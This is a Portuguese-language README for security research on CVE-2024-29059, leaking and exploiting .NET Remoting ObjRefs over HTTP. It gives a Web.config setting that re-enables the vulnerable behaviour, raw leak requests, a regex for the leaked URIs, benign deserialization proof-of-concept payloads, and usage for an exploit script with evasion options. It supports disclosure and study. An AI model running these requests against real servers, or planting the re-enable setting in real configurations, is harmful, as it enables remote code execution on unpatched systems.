
Recursos adicionais para vazamento e exploração de ObjRefs via HTTP .NET Remoting (CVE-2024-29059)
ObjRefs via HTTP .NET Remoting (CVE-2024-29059)Este repositório fornece mais detalhes e recursos sobre a postagem no blog CODE WHITE com o mesmo nome Vazando ObjRefs para Explorar HTTP .NET Remoting:
ObjRefTypeFilterLevel.LowO seguinte é baseado em Configure o Application Insights para seu site ASP.NET da Microsoft e descreve como criar uma aplicação web ASP.NET vulnerável com o Visual Studio 2019 (necessário para usar o .NET Framework 4.5.2, você ainda pode baixá-lo em https://aka.ms/vs/16/release/vs_community.exe) e o Microsoft Application Insights:
Se as atualizações do .NET Framework de janeiro de 2024 estiverem instaladas, abra o arquivo Web.config e adicione o seguinte em /configuration/appSettings para reabilitar o comportamento vulnerável:
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />
Você pode então executar a aplicação web via Depurar > Iniciar Sem Depuração ou pressionando Ctrl+F5.
ObjRefVocê pode usar as seguintes requisições para vazar ObjRefs de instâncias MarshalByRefObject armazenadas no LogicalCallContext:
BinaryServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: application/octet-stream
SoapServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: text/xml
URIs de ObjRef vazadas podem então ser encontradas usando a seguinte regex:
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem
Criamos dois payloads de desserialização simples baseados no gadget TextFormattingRunProperties do YSoSerial.Net com payloads XAML personalizados que funcionam sob as restrições causadas por TypeFilterLevel.Low para realizar o seguinte:
HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"Os cabeçalhos HTTP podem ser observados na resposta do servidor à requisição HTTP .NET Remoting.
O script RemoteApplicationMetadata.py fornece uma maneira de vazar ObjRefs existentes e depois usá-los em uma requisição subsequente para entregar um payload específico:
usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]
positional arguments:
url target URL (without `RemoteApplicationMetadata.rem`)
file BinaryFormatter/SoapFormatter payload file (default: stdin)
options:
-h, --help show this help message and exit
-c, --chunked use chunked Transfer-Encoding for request
--chunk-range CHUNK_RANGE
range to pick the chunk size from randomly, e. g., 1-10
-e, --encoding apply a random non ASCII-based encoding on SOAP
-f {binary,soap}, --format {binary,soap}
targeted runtime serializer format (default: soap)
-u, --use-generic-uri
use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
-v, --verbose print verbose info
Exemplo:
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v